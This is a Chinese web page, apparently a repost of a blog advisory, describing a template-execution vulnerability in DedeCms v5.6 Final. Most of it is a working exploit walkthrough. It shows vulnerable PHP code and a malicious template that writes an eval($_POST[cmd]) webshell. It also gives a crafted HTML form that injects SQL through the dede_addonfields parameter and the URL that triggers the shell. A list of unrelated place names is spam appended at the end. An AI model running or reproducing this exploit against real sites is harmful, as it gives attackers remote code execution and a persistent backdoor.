濮阳杆衣贸易有限公司

主頁(yè) > 網(wǎng)站建設(shè) > 建站知識(shí) > DedeCms/織夢(mèng)cms模板執(zhí)行漏洞(影響版本v5.6)

DedeCms/織夢(mèng)cms模板執(zhí)行漏洞(影響版本v5.6)

POST TIME:2017-11-13 00:50

影響版本:
DEDECMS v5.6 Final

程序介紹:
DedeCms 基于PHP+MySQL的技術(shù)開發(fā),支持Windows、Linux、Unix等多種服務(wù)器平臺(tái),從2004年開始發(fā)布第一個(gè)版本開始,至今已經(jīng)發(fā)布了五個(gè)大版本。DedeCms以簡(jiǎn)單、健壯、靈活、開源幾大特點(diǎn)占領(lǐng)了國(guó)內(nèi)CMS的大部份市場(chǎng),目前已經(jīng)有超過二十萬(wàn)個(gè)站點(diǎn)正在使用DedeCms或居于DedeCms核心,是目前國(guó)內(nèi)應(yīng)用最廣泛的php類CMS系統(tǒng)。

漏洞分析:

Dedecms V5.6 Final版本中的各個(gè)文件存在一系列問題,經(jīng)過精心構(gòu)造的含有惡意代表的模板內(nèi)容可以通過用戶后臺(tái)的上傳附件的功能上傳上去,然后通過SQL注入修改附加表的模板路徑為我們上傳的模板路徑,模板解析類:include/inc_archives_view.php沒有對(duì)模板路徑及名稱做任何限制,則可以成功執(zhí)行惡意代碼。

1、member/article_edit.php文件(注入):
//漏洞在member文件夾下普遍存在,$dede_addonfields是由用戶提交的,可以被偽造,偽造成功即可帶入sql語(yǔ)句,于是我們可以給附加表的內(nèi)容進(jìn)行update賦值。
PHP Code復(fù)制內(nèi)容到剪貼板
  1. //分析處理附加表數(shù)據(jù)
  2. $inadd_f='';
  3. if(!emptyempty($dede_addonfields))//自己構(gòu)造$dede_addonfields
  4. {
  5. $addonfields=explode(';',$dede_addonfields);
  6. if(is_array($addonfields))
  7. {
  8. print_r($addonfields);
  9. foreach($addonfieldsas$v)
  10. {
  11. if($v=='')
  12. {
  13. continue;
  14. }
  15. $vs=explode(',',$v);
  16. if(!isset(${$vs[0]}))
  17. {
  18. ${$vs[0]}='';
  19. }
  20. ${$vs[0]}=GetFieldValueA(${$vs[0]},$vs[1],$aid);
  21. $inadd_f.=','.$vs[0]."='".${$vs[0]}."'";
  22. echo$inadd_f;
  23. }
  24. }
  25. }
  26. if($addtable!='')
  27. {
  28. $upQuery="Update`$addtable`settypeid='$typeid',body='$body'{$inadd_f},userip='$userip'whereaid='$aid'";//執(zhí)行構(gòu)造的sql
  29. if(!$dsql->ExecuteNoneQuery($upQuery))
  30. {
  31. ShowMsg("更新附加表`$addtable`時(shí)出錯(cuò),請(qǐng)聯(lián)系管理員!","javascript:;");
  32. exit();
  33. }
  34. }
2、include/inc_archives_view.php:
//這是模板處理類,如果附加表的模板路徑存在,直接從附加表取值;GetTempletFile獲取模板文件的方法就是取的此處的模板路徑,從來(lái)帶進(jìn)去解析。
PHP Code復(fù)制內(nèi)容到剪貼板
  1. //issystem==-1表示單表模型,單表模型不支持redirecturl這類參數(shù),因此限定內(nèi)容普通模型才進(jìn)行下面查詢
  2. if($this->ChannelUnit->ChannelInfos['addtable']!=''&&$this->ChannelUnit->ChannelInfos['issystem']!=-1)
  3. {
  4. if(is_array($this->addTableRow))
  5. {
  6. $this->Fields['redirecturl']=$this->addTableRow['redirecturl'];
  7. $this->Fields['templet']=$this->addTableRow['templet'];//取值
  8. $this->Fields['userip']=$this->addTableRow['userip'];
  9. }
  10. $this->Fields['templet']=(emptyempty($this->Fields['templet'])?'':trim($this->Fields['templet']));
  11. $this->Fields['redirecturl']=(emptyempty($this->Fields['redirecturl'])?'':trim($this->Fields['redirecturl']));
  12. $this->Fields['userip']=(emptyempty($this->Fields['userip'])?'':trim($this->Fields['userip']));
  13. }
  14. else
  15. {
  16. $this->Fields['templet']=$this->Fields['redirecturl']='';
  17. }
  18. //獲得模板文件位置
  19. functionGetTempletFile()
  20. {
  21. global$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
  22. $cid=$this->ChannelUnit->ChannelInfos['nid'];
  23. if(!emptyempty($this->Fields['templet']))
  24. {
  25. $filetag=MfTemplet($this->Fields['templet']);
  26. if(!ereg('/',$filetag))$filetag=$GLOBALS['cfg_df_style'].'/'.$filetag;
  27. }
  28. else
  29. {
  30. $filetag=MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
  31. }
  32. $tid=$this->Fields['typeid'];
  33. $filetag=str_replace('{cid}',$cid,$filetag);
  34. $filetag=str_replace('{tid}',$tid,$filetag);
  35. $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
  36. if($cid=='spec')
  37. {
  38. if(!emptyempty($this->Fields['templet']))
  39. {
  40. $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
  41. }
  42. else
  43. {
  44. $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
  45. }
  46. }
  47. if(!file_exists($tmpfile))
  48. {
  49. $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec'?'article_spec.htm':'article_default.htm');
  50. }
  51. return$tmpfile;
  52. }
漏洞利用:

1.上傳一個(gè)模板文件:

注冊(cè)一個(gè)用戶,進(jìn)入用戶管理后臺(tái),發(fā)表一篇文章,上傳一個(gè)圖片,然后在附件管理里,把圖片替換為我們精心構(gòu)造的模板,比如圖片名稱是:
uploads/userup/2/12OMX04-15A.jpg

模板內(nèi)容是(如果限制圖片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}

2.修改剛剛發(fā)表的文章,查看源文件,構(gòu)造一個(gè)表單:
XML/HTML Code復(fù)制內(nèi)容到剪貼板
  1. <formclass="mTB10mL10mR10"name="addcontent"id="addcontent"action="http://127.0.0.1/dede/member/article_edit.php"method="post"enctype="multipart/form-data"onsubmit="returncheckSubmit();">
  2. <inputtype="hidden"name="dopost"value="save"/>
  3. <inputtype="hidden"name="aid"value="2"/>
  4. <inputtype="hidden"name="idhash"value="f5f682c8d76f74e810f268fbc97ddf86"/>
  5. <inputtype="hidden"name="channelid"value="1"/>
  6. <inputtype="hidden"name="oldlitpic"value=""/>
  7. <inputtype="hidden"name="sortrank"value="1275972263"/>
  8. <divid="mainCp">
  9. <h3class="meTitle"><strong>修改文章</strong></h3>
  10. <divclass="postForm">
  11. <label>標(biāo)題:</label>
  12. <inputname="title"type="text"id="title"value="11233ewsad"maxlength="100"class="intxt"/>
  13. <label>標(biāo)簽TAG:</label>
  14. <inputname="tags"type="text"id="tags"value="hahah,test"maxlength="100"class="intxt"/>(用逗號(hào)分開)
  15. <label>作者:</label>
  16. <inputtype="text"name="writer"id="writer"value="test"maxlength="100"class="intxt"style="width:219px"/>
  17. <label>隸屬欄目:</label>
  18. <selectname='typeid'size='1'>
  19. <optionvalue='1'class='option3'selected=''>測(cè)試欄目</option>
  20. </select><spanstyle="color:#F00">*</span>(不能選擇帶顏色的分類)
  21. <label>我的分類:</label>
  22. <selectname='mtypesid'size='1'>
  23. <optionvalue='0'selected>請(qǐng)選擇分類...</option>
  24. <optionvalue='1'class='option3'selected>hahahha</option>
  25. </select>
  26. <label>信息摘要:</label>
  27. <textareaname="description"id="description">1111111</textarea>
  28. (內(nèi)容的簡(jiǎn)要說明)
  29. <label>縮略圖:</label>
  30. <inputname="litpic"type="file"id="litpic"onchange="SeePicNew('divpicview',this);"maxlength="100"class="intxt"/>
  31. <inputtype='text'name='templet'
  32. value="../uploads/userup/2/12OMX04-15A.jpg">
  33. <inputtype='text'name='dede_addonfields'
  34. value="templet,htmltext;">(這里構(gòu)造)
  35. </div>
  36. <!--表單操作區(qū)域-->
  37. <h3class="meTitle">詳細(xì)內(nèi)容</h3>
  38. <divclass="contentShowpostForm">
  39. <inputtype="hidden"id="body"name="body"value="<div><ahref="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"target="_blank"><imgborder="0"alt=""src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"width="1010"height="456"/></a></div><p><?phpinfo()?>1111111</p>"style="display:none"/><inputtype="hidden"id="body___Config"value="FullPage=false"style="display:none"/><iframeid="body___Frame"src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member"width="100%"height="350"frameborder="0"scrolling="no"></iframe>
  40. <label>驗(yàn)證碼:</label>
  41. <inputname="vdcode"type="text"id="vdcode"maxlength="100"class="intxt"style='width:50px;text-transform:uppercase;'/>
  42. <imgsrc="http://127.0.0.1/dede/include/vdimgck.php"alt="看不清?點(diǎn)擊更換"align="absmiddle"style="cursor:pointer"onclick="this.src=this.src+'?'"/>
  43. <buttonclass="button2"type="submit">提交</button>
  44. <buttonclass="button2ml10"type="reset"onclick="location.reload();">重置</button>
  45. </div>
  46. </div>
  47. </form>
提交,提示修改成功,則我們已經(jīng)成功修改模板路徑。

3.訪問修改的文章:

假設(shè)剛剛修改的文章的aid為2,則我們只需要訪問:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目錄下生成小馬:1.php

解決方案:
廠商補(bǔ)丁:
DEDECMS
------------
目前廠商還沒有提供補(bǔ)丁或者升級(jí)程序,我們建議使用此軟件的用戶隨時(shí)關(guān)注廠商的主頁(yè)以獲取最新版本:
http://www.dedecms.com/

信息來(lái)源: oldjun's Blog



收縮
  • 微信客服
  • 微信二維碼
  • 電話咨詢

  • 400-1100-266
南宁市| 九寨沟县| 凤冈县| 阿城市| 丰镇市| 东兰县| 定结县| 阳泉市| 定州市| 嘉兴市| 泸定县| 阜平县| 岑溪市| 泗水县| 运城市| 陆良县| 明星| 盐城市| 中牟县| 宜都市| 儋州市| 夏津县| 苏州市| 沙坪坝区| 德庆县| 广东省| 象山县| 乌兰浩特市| 博爱县| 大田县| 黎平县| 五莲县| 呼图壁县| 双流县| 额敏县| 巴塘县| 涞水县| 莱芜市| 文昌市| 治多县| 千阳县|